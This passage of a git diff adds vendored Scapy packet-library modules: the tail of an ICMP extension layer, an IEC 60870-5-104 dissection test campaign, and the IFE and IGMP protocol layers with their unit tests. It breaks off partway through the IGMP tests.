ConditionalField( + ShortField('reserved2', 0), + lambda pkt: pkt.has_ipaddr == 1), + ConditionalField( + IPField('ip4', None), + lambda pkt: pkt.afi == 1), + ConditionalField( + IP6Field('ip6', None), + lambda pkt: pkt.afi == 2), + + ConditionalField( + FieldLenField('ifname_len', None, fmt='B', + length_of='ifname'), + lambda pkt: pkt.has_ifname == 1), + ConditionalField( + StrLenField('ifname', None, + length_from=lambda pkt: pkt.ifname_len), + lambda pkt: pkt.has_ifname == 1), + + ConditionalField( + IntField('mtu', None), + lambda pkt: pkt.has_mtu == 1)] + + def self_build(self, field_pos_list=None): + if self.afi is None: + if self.ip4 is not None: + self.afi = 1 + elif self.ip6 is not None: + self.afi = 2 + + if self.has_ifindex and self.ifindex is None: + warning('has_ifindex set but ifindex is not set.') + if self.has_ipaddr and self.afi is None: + warning('has_ipaddr set but afi is not set.') + if self.has_ipaddr and self.ip4 is None and self.ip6 is None: + warning('has_ipaddr set but ip4 or ip6 is not set.') + if self.has_ifname and self.ifname is None: + warning('has_ifname set but ifname is not set.') + if self.has_mtu and self.mtu is None: + warning('has_mtu set but mtu is not set.') + + return ICMPExtensionObject.self_build(self, field_pos_list=field_pos_list) # noqa: E501 + + +# Add the post_dissection() method to the existing ICMPv4 and +# ICMPv6 error messages +scapy.layers.inet.ICMPerror.post_dissection = ICMPExtension_post_dissection +scapy.layers.inet.TCPerror.post_dissection = ICMPExtension_post_dissection +scapy.layers.inet.UDPerror.post_dissection = ICMPExtension_post_dissection + +scapy.layers.inet6.ICMPv6DestUnreach.post_dissection = ICMPExtension_post_dissection # noqa: E501 +scapy.layers.inet6.ICMPv6TimeExceeded.post_dissection = ICMPExtension_post_dissection # noqa: E501 + + +# ICMPExtensionHeader looks at fields from the upper layer object when +# determining which upper layer to use. +bind_layers(ICMPExtensionHeader, ICMPExtensionMPLS, classnum=1, classtype=1) +bind_layers(ICMPExtensionHeader, ICMPExtensionInterfaceInformation, classnum=2) diff --git a/libs/scapy/contrib/iec104.uts b/libs/scapy/contrib/iec104.uts new file mode 100755 index 0000000..53e399f --- /dev/null +++ b/libs/scapy/contrib/iec104.uts @@ -0,0 +1,458 @@ +% IEC 60870-5-104 test campaign + +# +# execute test: +# > test/run_tests -t scapy/contrib/iec104.uts +# + ++ iec104 infrastructure + += load the iec104 layer + +load_contrib('scada.iec104') + += class attribute generator + +assert(IEC104_IE_QOC.QU_FLAG_RESERVED_COMPATIBLE_4 == 4) +assert(IEC104_IE_QOC.QU_FLAG_RESERVED_COMPATIBLE_8 == 8) +assert(IEC104_IE_QOC.QU_FLAG_RESERVED_PREDEFINED_FUNCTION_9 == 9) +assert(IEC104_IE_QOC.QU_FLAG_RESERVED_PREDEFINED_FUNCTION_15 == 15) + += IEC60870_5_4_NormalizedFixPoint + +test_data = [ + (b'\x9c\x84', -0.963989, -31588), + (b'\x46\xf6', -0.075989, -2490), + (b'\xc9\xf6', -0.071991, -2359), + (b'\x40\xf5', -0.083984, -2752), + (b'\x89\x01', 0.011993, 393), + (b'\xd2\x0d', 0.107971, 3538), + (b'\xd7\x23', 0.279999, 9175), + (b'\x76\x3e', 0.487976, 15990), + (b'\x08\x6c', 0.843994, 27656), + (b'\xff\x7f', 0.999969, 32767) +] + +nfp = IEC60870_5_4_NormalizedFixPoint('foo', 0) + +for num_raw, num_fp, num_ss in test_data: + i_val = nfp.getfield(None, num_raw)[1] + assert(i_val == num_ss) + assert(round(nfp.i2h(None, i_val), 6) == round(num_fp, 6)) + + += Iec104SequenceNumber field + +iec104_seq_num = IEC104SequenceNumber('rx_seq', 0) + +test_data = { + 1: b'\x02\x00', + 2: b'\x04\x00', + 14 : b'\x1c\x00', + 16 : b'\x20\x00', + 73 : b'\x92\x00', + 127: b'\xfe\x00', + 128: b'\x00\x01', + 129: b'\x02\x01', + 253: b'\xfa\x01', + 254: b'\xfc\x01', + 255: b'\xfe\x01', + 5912: b'\x30\x2e', + 31282: b'\x64\xf4', + 32767: b'\xfe\xff' +} + +for key in test_data: + assert(iec104_seq_num.getfield(None, test_data[key])[1] == key) + assert(iec104_seq_num.addfield(None, b'', key) == test_data[key]) + ++ raw layer dissection + += IEC104_U_Message + +raw_u_msg = b'\x68\x04\x83\x00\x00\x00' + +lyr = iec104_decode(b'\x68\x04\x83\x00\x00\x00') +assert(lyr.__class__ == IEC104_U_Message) + += IEC104_S_Message + +raw_s_msg = b'\x68\x04\x01\x00\xa6\x17' + +lyr = iec104_decode(raw_s_msg) +assert(lyr.__class__ == IEC104_S_Message) + += IEC104_I_Message_SeqIOA + +raw_i_msg_seq_ioa = b'\x68\x1f\x2c\x00\x04\x00' # APCI +raw_i_msg_seq_ioa += b'\x01\x92\x14\x00\x23\x00\x12\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # ASDU + +lyr = iec104_decode(raw_i_msg_seq_ioa) +assert(lyr.__class__ == IEC104_I_Message_SeqIOA) + += IEC104_I_Message_SingleIOA + +raw_i_msg_single_ioa = b'\x68\x0e\x00\x00\x00\x00\x64\x01\x06\x00\x0a\x00\x00\x00\x00\x14' + +lyr = iec104_decode(raw_i_msg_single_ioa) +assert(lyr.__class__ == IEC104_I_Message_SingleIOA) + ++ IEC104 S Message + += single IEC104 S Message + +s_msg = b'\x68\x04\x01\x00\xa6\x17' + +s_msg = IEC104_S_Message(s_msg) + +assert(s_msg.rx_seq_num == 3027) + +raw_s_message = b'\x00\x14\xab\x00\x3c\x13\x00\x1b\x8d\xf1\xdc\x12\x08\x00\x45\x10\x00\x3a\x8d\xdb\x40\x00\x3d\x06\x54\x46\x1a\x52\x01\xde\xc1\x28\x15\x5c\xaa\x56\x09\x64\x16\x67\x6c\xd7\x53\x07\x28\x98\x80\x18\x79\x5e\x9b\x14\x00\x00\x01\x01\x08\x0a\x9e\x08\xaa\x23\x73\xe8\x6c\xc3\x68\x04\x01\x00\xc2\x3a' + +frm = Ether(raw_s_message) + +s_msg = frm.getlayer(IEC104_S_Message) +assert(s_msg) +assert(s_msg.rx_seq_num == 7521) + +frm = Ether(frm.do_build()) + +s_msg = frm.getlayer(IEC104_S_Message) +assert(s_msg) +assert(s_msg.rx_seq_num == 7521) + += double IEC104 S Message (test layer binding) + +raw_double_s_message = b'\x00\x14\xab\x00\x3c\x13\x00\x1b\x8d\xf1\xdc\x12\x08\x00\x45\x10\x00\x40\x8d\xdb\x40\x00\x3d\x06\x54\x46\x0c\x35\x1b\x33\xc1\x28\x15\x44\xaa\x56\x09\x64\x16\x67\x6c\xd7\x53\x07\x28\x98\x80\x18\x79\x5e\x9b\x14\x00\x00\x01\x01\x08\x0a\x9e\x08\xaa\x23\x73\xe8\x6c\xc3\x68\x04\x01\x00\xc2\x3a\x68\x04\x01\x00\xc2\x3b' + +frm = Ether(raw_double_s_message) + +s_msg = frm.getlayer(IEC104_S_Message) +assert(s_msg) +assert(s_msg.rx_seq_num == 7521) + +s_msg = frm.getlayer(IEC104_S_Message, nb=2) +assert(s_msg) +assert(s_msg.rx_seq_num == 7649) + +frm = Ether(frm.do_build()) + +s_msg = frm.getlayer(IEC104_S_Message) +assert(s_msg) +assert(s_msg.rx_seq_num == 7521) + +s_msg = frm.getlayer(IEC104_S_Message, nb=2) +assert(s_msg) +assert(s_msg.rx_seq_num == 7649) + ++ IEC104 U Message + += single IEC104 U Message + +frm = Ether()/IP()/TCP()/IEC104_U_Message(startdt_act = 1, stopdt_con = 1, testfr_act=1) +frm = Ether(frm.do_build()) +u_msg = frm.getlayer(IEC104_U_Message) +assert(u_msg) +assert(u_msg.startdt_act == 1) +assert(u_msg.startdt_con == 0) +assert(u_msg.stopdt_con == 1) +assert(u_msg.stopdt_act == 0) +assert(u_msg.testfr_act == 1) +assert(u_msg.testfr_con == 0) + +u_msg_tst_act = b'\x68\x04\x43\x00\x00\x00' +u_msg = IEC104_U_Message(u_msg_tst_act) +assert(u_msg.testfr_act == 1) + +u_msg_tst_con = b'\x68\x04\x83\x00\x00\x00' +u_msg = IEC104_U_Message(u_msg_tst_con) +assert(u_msg.testfr_con == 1) + +u_msg_startdt_act = b'\x68\x04\x07\x00\x00\x00' +u_msg = IEC104_U_Message(u_msg_startdt_act) +assert(u_msg.startdt_act == 1) + +u_msg_startdt_con = b'\x68\x04\x0b\x00\x00\x00' +u_msg = IEC104_U_Message(u_msg_startdt_con) +assert(u_msg.startdt_con == 1) + +u_msg_stopdt_act = b'\x68\x04\x13\x00\x00\x00' +u_msg = IEC104_U_Message(u_msg_stopdt_act) +assert(u_msg.stopdt_act == 1) + +u_msg_stopdt_con = b'\x68\x04\x23\x00\x00\x00' +u_msg = IEC104_U_Message(u_msg_stopdt_con) +assert(u_msg.stopdt_con == 1) + += double IEC104 U Message + +frm = Ether()/IP()/TCP()/\ + IEC104_U_Message(startdt_act = 1, stopdt_con = 1, testfr_act=1)/\ + IEC104_U_Message(startdt_con = 1, stopdt_act = 1, testfr_con=1) + +frm = Ether(frm.do_build()) +u_msg = frm.getlayer(IEC104_U_Message) +assert(u_msg) +assert(u_msg.startdt_act == 1) +assert(u_msg.stopdt_con == 1) +assert(u_msg.testfr_act == 1) + +u_msg = frm.getlayer(IEC104_U_Message, nb=2) +assert(u_msg) +assert(u_msg.startdt_con == 1) +assert(u_msg.stopdt_act == 1) +assert(u_msg.testfr_con == 1) + ++ IEC104 I Message + += Sequence IOA, single IO - information object types dissection + +for io_id in IEC104_IO_CLASSES: + io_class = IEC104_IO_CLASSES[io_id] + frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/IEC104_I_Message_SeqIOA(io=io_class()) + frm = Ether(frm.do_build()) + io_layer = frm.getlayer(io_class) + assert(io_layer) + += Single IOA, single IO - information object types dissection + +for io_id in IEC104_IO_WITH_IOA_CLASSES: + io_class = IEC104_IO_WITH_IOA_CLASSES[io_id] + frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/IEC104_I_Message_SingleIOA(io=io_class()) + frm = Ether(frm.do_build()) + io_layer = frm.getlayer(io_class) + assert(io_layer) + += Sequence IOA, multiple IOs - information object types dissection + +frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/IEC104_I_Message_SeqIOA(information_object_address=1234, io=[IEC104_IO_C_RC_TA_1(minutes = 1, sec_milli = 2),IEC104_IO_C_RC_TA_1(minutes = 3, sec_milli = 4)]) +frm = Ether(frm.do_build()) + +i_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA) +assert(i_msg_lyr) + +assert(i_msg_lyr.information_object_address == 1234) + +m_sp_ta_1_lyr = i_msg_lyr.io[0] +assert (m_sp_ta_1_lyr.minutes == 1) +assert (m_sp_ta_1_lyr.sec_milli == 2) + +m_sp_ta_1_lyr = i_msg_lyr.io[1] +assert (m_sp_ta_1_lyr.minutes == 3) +assert (m_sp_ta_1_lyr.sec_milli == 4) + += Single IOA, multiple IOs - information object types dissection + +frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\ + IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=1111, minutes = 1, sec_milli = 2), + IEC104_IO_C_RC_TA_1_IOA(information_object_address=2222,minutes = 3, sec_milli = 4)]) +frm = Ether(frm.do_build()) + +i_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA) +assert(i_msg_lyr) + +m_sp_ta_1_lyr = i_msg_lyr.io[0] +assert (m_sp_ta_1_lyr.information_object_address==1111) +assert (m_sp_ta_1_lyr.minutes == 1) +assert (m_sp_ta_1_lyr.sec_milli == 2) + + +m_sp_ta_1_lyr = i_msg_lyr.io[1] +assert (m_sp_ta_1_lyr.information_object_address==2222) +assert (m_sp_ta_1_lyr.minutes == 3) +assert (m_sp_ta_1_lyr.sec_milli == 4) + += Sequence IOA, multiple APDUs + +frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\ + IEC104_I_Message_SeqIOA(information_object_address=1234, + io=[IEC104_IO_C_RC_TA_1(minutes = 1, sec_milli = 2), + IEC104_IO_C_RC_TA_1(minutes = 3, sec_milli = 4)])/ \ + IEC104_I_Message_SeqIOA(information_object_address=5432, + io=[IEC104_IO_C_RC_TA_1(minutes = 5, sec_milli = 6), + IEC104_IO_C_RC_TA_1(minutes = 7, sec_milli = 8)]) + +frm = Ether(frm.do_build()) +i_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=1) +assert(i_msg_lyr) +assert (i_msg_lyr.information_object_address == 1234) +assert(len(i_msg_lyr.io) == 2) +assert(i_msg_lyr.io[0].minutes == 1) +assert(i_msg_lyr.io[0].sec_milli == 2) +assert(i_msg_lyr.io[1].minutes == 3) +assert(i_msg_lyr.io[1].sec_milli == 4) + +i_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=2) +assert(i_msg_lyr) +assert (i_msg_lyr.information_object_address == 5432) +assert(len(i_msg_lyr.io) == 2) +assert(i_msg_lyr.io[0].minutes == 5) +assert(i_msg_lyr.io[0].sec_milli == 6) +assert(i_msg_lyr.io[1].minutes == 7) +assert(i_msg_lyr.io[1].sec_milli == 8) + += Single IOA, multiple APDUs + +frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\ + IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=1111, + minutes = 1, sec_milli = 2), + IEC104_IO_C_RC_TA_1_IOA(information_object_address=2222, + minutes = 3, sec_milli = 4)])/ \ + IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=3333, + minutes = 5, sec_milli = 6), + IEC104_IO_C_RC_TA_1_IOA(information_object_address=4444, + minutes = 7, sec_milli = 8)]) + +frm = Ether(frm.do_build()) +i_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA, nb=1) +assert(i_msg_lyr) +assert(len(i_msg_lyr.io) == 2) +assert (i_msg_lyr.io[0].information_object_address == 1111) +assert(i_msg_lyr.io[0].minutes == 1) +assert(i_msg_lyr.io[0].sec_milli == 2) +assert (i_msg_lyr.io[1].information_object_address == 2222) +assert(i_msg_lyr.io[1].minutes == 3) +assert(i_msg_lyr.io[1].sec_milli == 4) + +i_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA, nb=2) +assert(i_msg_lyr) +assert(len(i_msg_lyr.io) == 2) +assert (i_msg_lyr.io[0].information_object_address == 3333) +assert(i_msg_lyr.io[0].minutes == 5) +assert(i_msg_lyr.io[0].sec_milli == 6) +assert (i_msg_lyr.io[1].information_object_address == 4444) +assert(i_msg_lyr.io[1].minutes == 7) +assert(i_msg_lyr.io[1].sec_milli == 8) + += Mixed Single and Sequence IOA, multiple APDU + +frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\ + IEC104_I_Message_SeqIOA(information_object_address=1111, + io=[IEC104_IO_C_RC_TA_1_IOA(minutes = 1, sec_milli = 2), + IEC104_IO_C_RC_TA_1_IOA(minutes = 3, sec_milli = 4)])/ \ + IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=3333, + minutes = 5, sec_milli = 6), + IEC104_IO_C_RC_TA_1_IOA(information_object_address=4444, + minutes = 7, sec_milli = 8)])/ \ + IEC104_I_Message_SeqIOA(information_object_address=5555, + io=[IEC104_IO_C_RC_TA_1_IOA(minutes = 1, sec_milli = 9), + IEC104_IO_C_RC_TA_1_IOA(minutes = 3, sec_milli = 10)])/ \ + IEC104_I_Message_SingleIOA(io=IEC104_IO_C_RP_NA_1_IOA(information_object_address=5555)) + +frm = Ether(frm.do_build()) + +i_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=1) +assert(i_msg_lyr) +assert (i_msg_lyr.information_object_address == 1111) + +i_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=2) +assert(i_msg_lyr) +assert (i_msg_lyr.information_object_address == 5555) + +i_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA, nb=1) +assert(i_msg_lyr) +assert (i_msg_lyr.io[0].information_object_address == 3333) + ++ mixed APDU types in one packet + += I/U/S Message sequence (mixed APDUs) + +frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\ + IEC104_I_Message_SeqIOA(information_object_address=1111, + rx_seq_num=1234, + tx_seq_num=6789, + io=[IEC104_IO_C_RC_TA_1_IOA(minutes = 1, sec_milli = 2), + IEC104_IO_C_RC_TA_1_IOA(minutes = 3, sec_milli = 4)])/\ + IEC104_U_Message()/ \ + IEC104_S_Message(rx_seq_num=666) + +frm = Ether(frm.do_build()) +i_msg = frm.getlayer(IEC104_I_Message_SeqIOA) +assert(i_msg) +u_msg = frm.getlayer(IEC104_U_Message) +assert(u_msg) +s_msg = frm.getlayer(IEC104_S_Message) +assert(s_msg) + ++ information elements & objects + += ASDU allowed in given standard (examples) + +layer = IEC104_IO_M_SP_NA_1() +assert(layer.defined_for_iec_101() is True) +assert(layer.defined_for_iec_104() is True) + +layer = IEC104_IO_M_DP_TA_1() +assert(layer.defined_for_iec_101() is True) +assert(layer.defined_for_iec_104() is False) + +layer = IEC104_IO_C_SC_TA_1() +assert(layer.defined_for_iec_101() is False) +assert(layer.defined_for_iec_104() is True) + + += BCR - binary counter reading / IEC104_IO_M_IT_NA_1 - integrated totals + +# (counter , sequence) test datas +values = [(1, 1), (1111, 17), (23456, 21), (31234, 30), (32767, 31)] +m_it_na = [] +for value, sequence in values: + m_it_na.append(IEC104_IO_M_IT_NA_1(counter_value=value, sq=sequence)) + +frm = Ether()/IP()/TCP()/IEC104_I_Message_SeqIOA(io=m_it_na) +frm = Ether(frm.do_build()) +i_msg = frm.getlayer(IEC104_I_Message_SeqIOA) +assert(i_msg) + +for idx, value in enumerate(values): + value, sequence = value + assert(i_msg.io[idx].counter_value == value) + assert (i_msg.io[idx].sq == sequence) + += DIQ - double-point information with quality descriptor / IEC104_IO_M_DP_NA_1 - double-point information without time tag + +frm = Ether() / IP() / TCP() / IEC104_I_Message_SeqIOA(io=IEC104_IO_M_DP_NA_1(dpi_value=IEC104_IE_DIQ.DPI_FLAG_STATE_UNDEFINED)) +frm = Ether(frm.do_build()) + +i_msg = frm.getlayer(IEC104_I_Message_SeqIOA) +assert(i_msg) +assert(i_msg.io[0].dpi_value==IEC104_IE_DIQ.DPI_FLAG_STATE_UNDEFINED) + += VTI - value with transient state indication / IEC104_IO_M_ST_NA_1 - step position information + +values = [0, 1, 2, 62, 63, -1, -2, -63, -64] +m_st_na_1 = [] +for value in values: + m_st_na_1.append(IEC104_IO_M_ST_NA_1(value=value)) + +frm = Ether() / IP() / TCP() / IEC104_I_Message_SeqIOA(io=m_st_na_1) +frm = Ether(frm.do_build()) + +i_msg = frm.getlayer(IEC104_I_Message_SeqIOA) +assert (i_msg) + +for idx, value in enumerate(values): + assert (i_msg.io[idx].value == value) + += IEC104_IO_C_RD_NA_1 - read command (zero byte field) + +frm = Ether() / IP() / TCP() / IEC104_I_Message_SeqIOA(information_object_address=0x112233, + io=[ + IEC104_IO_C_RD_NA_1(), + IEC104_IO_C_RD_NA_1() + ])/ \ + IEC104_I_Message_SeqIOA(information_object_address=0x445566, + io=[IEC104_IO_M_DP_NA_1(dpi_value=IEC104_IE_DIQ.DPI_FLAG_STATE_UNDEFINED)])/ \ + IEC104_I_Message_SeqIOA(information_object_address=0x445567, + io=[IEC104_IO_C_RD_NA_1()]) + +frm = Ether(frm.do_build()) + +i_msg = frm.getlayer(IEC104_I_Message_SeqIOA) +assert (i_msg) +assert (i_msg.information_object_address == 0x112233) +assert (len(i_msg.io) == 2) + +i_msg = frm.getlayer(IEC104_I_Message_SeqIOA, nb=2) +assert (i_msg) +assert (i_msg.information_object_address == 0x445566) diff --git a/libs/scapy/contrib/ife.py b/libs/scapy/contrib/ife.py new file mode 100755 index 0000000..49f4833 --- /dev/null +++ b/libs/scapy/contrib/ife.py @@ -0,0 +1,123 @@ +# scapy.contrib.description = ForCES Inter-FE LFB type (IFE) +# scapy.contrib.status = loads + +""" + IFE - ForCES Inter-FE LFB type + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + :author: Alexander Aring, aring@mojatatu.com + :license: GPLv2 + + This module is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This module is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + :description: + + This module provides Scapy layers for the IFE protocol. + + normative references: + - RFC 8013 + Forwarding and Control Element Separation (ForCES) + Inter-FE Logical Functional Block (LFB) + https://tools.ietf.org/html/rfc8013 +""" + +import functools + +from scapy.data import ETHER_TYPES +from scapy.packet import Packet, bind_layers +from scapy.fields import FieldLenField, PacketListField, IntField, \ + MultipleTypeField, ShortField, ShortEnumField, StrField, PadField +from scapy.layers.l2 import Ether + +ETH_P_IFE = 0xed3e +ETHER_TYPES['IFE'] = ETH_P_IFE + +# The value to set for the skb mark. +IFE_META_SKBMARK = 0x0001 +IFE_META_HASHID = 0x0002 +# Value to set for priority in the skb structure. +IFE_META_PRIO = 0x0003 +IFE_META_QMAP = 0x0004 +# Value to set for the traffic control index in the skb structure. +IFE_META_TCINDEX = 0x0005 + +IFE_META_TYPES = { + IFE_META_SKBMARK: "SKBMark", + IFE_META_HASHID: "HashID", + IFE_META_PRIO: "Prio", + IFE_META_QMAP: "QMap", + IFE_META_TCINDEX: "TCIndex" +} + +IFE_TYPES_SHORT = [IFE_META_TCINDEX] +IFE_TYPES_INT = [ + IFE_META_SKBMARK, + IFE_META_PRIO, +] + + +class IFETlv(Packet): + """ + Parent Class interhit by all ForCES TLV strucutures + """ + name = "IFETlv" + + fields_desc = [ + ShortEnumField("type", 0, IFE_META_TYPES), + FieldLenField("length", None, length_of="value", + adjust=lambda pkt, x: x + 4), + MultipleTypeField( + [ + (PadField(ShortField("value", 0), 4, padwith=b'\x00'), + lambda pkt: pkt.type in IFE_TYPES_SHORT), + (PadField(IntField("value", 0), 4, padwith=b'\x00'), + lambda pkt: pkt.type in IFE_TYPES_INT), + ], + PadField(IntField("value", 0), 4, padwith=b'\x00') + ), + ] + + def extract_padding(self, s): + return "", s + + +class IFETlvStr(IFETlv): + """ + A IFE TLV with variable payload + """ + fields_desc = [ + ShortEnumField("type", 0, IFE_META_TYPES), + FieldLenField("length", None, length_of="value", + adjust=lambda pkt, x: x + 4), + StrField("value", "") + ] + + +class IFE(Packet): + """ + Main IFE Packet Class + """ + name = "IFE" + + fields_desc = [ + FieldLenField("mdlen", None, length_of="tlvs", + adjust=lambda pkt, x: x + 2), + PacketListField("tlvs", None, IFETlv), + ] + + +IFESKBMark = functools.partial(IFETlv, type=IFE_META_SKBMARK) +IFEHashID = functools.partial(IFETlv, type=IFE_META_HASHID) +IFEPrio = functools.partial(IFETlv, type=IFE_META_PRIO) +IFEQMap = functools.partial(IFETlv, type=IFE_META_QMAP) +IFETCIndex = functools.partial(IFETlv, type=IFE_META_TCINDEX) + +bind_layers(Ether, IFE, type=ETH_P_IFE) diff --git a/libs/scapy/contrib/igmp.py b/libs/scapy/contrib/igmp.py new file mode 100755 index 0000000..5be7aa3 --- /dev/null +++ b/libs/scapy/contrib/igmp.py @@ -0,0 +1,161 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = Internet Group Management Protocol v1/v2 (IGMP/IGMPv2) +# scapy.contrib.status = loads + +from __future__ import print_function +from scapy.compat import chb, orb +from scapy.error import warning +from scapy.fields import ByteEnumField, ByteField, IPField, XShortField +from scapy.layers.inet import IP, IPOption_Router_Alert +from scapy.layers.l2 import Ether, getmacbyip +from scapy.packet import bind_layers, Packet +from scapy.utils import atol, checksum + + +def isValidMCAddr(ip): + """convert dotted quad string to long and check the first octet""" + FirstOct = atol(ip) >> 24 & 0xFF + return (FirstOct >= 224) and (FirstOct <= 239) + + +class IGMP(Packet): + """IGMP Message Class for v1 and v2. + + This class is derived from class Packet. You need call "igmpize()" + so the packet is transformed according the RFC when sent. + a=Ether(src="00:01:02:03:04:05") + b=IP(src="1.2.3.4") + c=IGMP(type=0x12, gaddr="224.2.3.4") + x = a/b/c + x[IGMP].igmpize() + sendp(a/b/c, iface="en0") + + Parameters: + type IGMP type field, 0x11, 0x12, 0x16 or 0x17 + mrcode Maximum Response time (zero for v1) + gaddr Multicast Group Address 224.x.x.x/4 + + See RFC2236, Section 2. Introduction for definitions of proper + IGMPv2 message format http://www.faqs.org/rfcs/rfc2236.html + """ + name = "IGMP" + + igmptypes = {0x11: "Group Membership Query", + 0x12: "Version 1 - Membership Report", + 0x16: "Version 2 - Membership Report", + 0x17: "Leave Group"} + + fields_desc = [ByteEnumField("type", 0x11, igmptypes), + ByteField("mrcode", 20), + XShortField("chksum", None), + IPField("gaddr", "0.0.0.0")] + + def post_build(self, p, pay): + """Called implicitly before a packet is sent to compute and place IGMP checksum. + + Parameters: + self The instantiation of an IGMP class + p The IGMP message in hex in network byte order + pay Additional payload for the IGMP message + """ + p += pay + if self.chksum is None: + ck = checksum(p) + p = p[:2] + chb(ck >> 8) + chb(ck & 0xff) + p[4:] + return p + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 4: + from scapy.contrib.igmpv3 import IGMPv3 + if orb(_pkt[0]) in [0x22, 0x30, 0x31, 0x32]: + return IGMPv3 + if orb(_pkt[0]) == 0x11 and len(_pkt) >= 12: + return IGMPv3 + return IGMP + + def igmpize(self): + """Called to explicitly fixup the packet according to the IGMP RFC + + The rules are: + - General: + 1. the Max Response time is meaningful only in Membership Queries and should be zero + - IP: + 1. Send General Group Query to 224.0.0.1 (all systems) + 2. Send Leave Group to 224.0.0.2 (all routers) + 3a.Otherwise send the packet to the group address + 3b.Send reports/joins to the group address + 4. ttl = 1 (RFC 2236, section 2) + 5. send the packet with the router alert IP option (RFC 2236, section 2) + - Ether: + 1. Recalculate destination + + Returns: + True The tuple ether/ip/self passed all check and represents + a proper IGMP packet. + False One of more validation checks failed and no fields + were adjusted. + + The function will examine the IGMP message to assure proper format. + Corrections will be attempted if possible. The IP header is then properly + adjusted to ensure correct formatting and assignment. The Ethernet header + is then adjusted to the proper IGMP packet format. + """ + from scapy.contrib.igmpv3 import IGMPv3 + gaddr = self.gaddr if hasattr(self, "gaddr") and self.gaddr else "0.0.0.0" # noqa: E501 + underlayer = self.underlayer + if self.type not in [0x11, 0x30]: # General Rule 1 # noqa: E501 + self.mrcode = 0 + if isinstance(underlayer, IP): + if (self.type == 0x11): + if (gaddr == "0.0.0.0"): + underlayer.dst = "224.0.0.1" # IP rule 1 # noqa: E501 + elif isValidMCAddr(gaddr): + underlayer.dst = gaddr # IP rule 3a # noqa: E501 + else: + warning("Invalid IGMP Group Address detected !") + return False + elif ((self.type == 0x17) and isValidMCAddr(gaddr)): + underlayer.dst = "224.0.0.2" # IP rule 2 # noqa: E501 + elif ((self.type == 0x12) or (self.type == 0x16)) and (isValidMCAddr(gaddr)): # noqa: E501 + underlayer.dst = gaddr # IP rule 3b # noqa: E501 + elif (self.type in [0x11, 0x22, 0x30, 0x31, 0x32] and isinstance(self, IGMPv3)): + pass + else: + warning("Invalid IGMP Type detected !") + return False + if not any(isinstance(x, IPOption_Router_Alert) for x in underlayer.options): # noqa: E501 + underlayer.options.append(IPOption_Router_Alert()) + underlayer.ttl = 1 # IP rule 4 + _root = self.firstlayer() + if _root.haslayer(Ether): + # Force recalculate Ether dst + _root[Ether].dst = getmacbyip(underlayer.dst) # Ether rule 1 # noqa: E501 + if isinstance(self, IGMPv3): + self.encode_maxrespcode() + return True + + def mysummary(self): + """Display a summary of the IGMP object.""" + if isinstance(self.underlayer, IP): + return self.underlayer.sprintf("IGMP: %IP.src% > %IP.dst% %IGMP.type% %IGMP.gaddr%") # noqa: E501 + else: + return self.sprintf("IGMP %IGMP.type% %IGMP.gaddr%") + + +bind_layers(IP, IGMP, frag=0, + proto=2, + ttl=1) diff --git a/libs/scapy/contrib/igmp.uts b/libs/scapy/contrib/igmp.uts new file mode 100755 index 0000000..4a38ece --- /dev/null +++ b/libs/scapy/contrib/igmp.uts @@ -0,0 +1,77 @@ +############ +% IGMP tests +############ + ++ Basic IGMP tests + += Build IGMP - Basic + +a=Ether(src="00:01:02:03:04:05") +b=IP(src="1.2.3.4") +c=IGMP(gaddr="0.0.0.0") +x = a/b/c +x[IGMP].igmpize() +assert x.mrcode == 20 +assert x[IP].dst == "224.0.0.1" + += Build IGMP - Custom membership + +a=Ether(src="00:01:02:03:04:05") +b=IP(src="1.2.3.4") +c=IGMP(gaddr="224.0.1.2") +x = a/b/c +x[IGMP].igmpize() +assert x.mrcode == 20 +assert x[IP].dst == "224.0.1.2" + += Build IGMP - LG + +a=Ether(src="00:01:02:03:04:05") +b=IP(src="1.2.3.4") +c=IGMP(type=0x17, gaddr="224.2.3.4") +x = a/b/c +x[IGMP].igmpize() +assert x.dst == "01:00:5e:00:00:02" +assert x.mrcode == 0 +assert x[IP].dst == "224.0.0.2" + += Change IGMP params + +x = Ether(src="00:01:02:03:04:05")/IP()/IGMP() 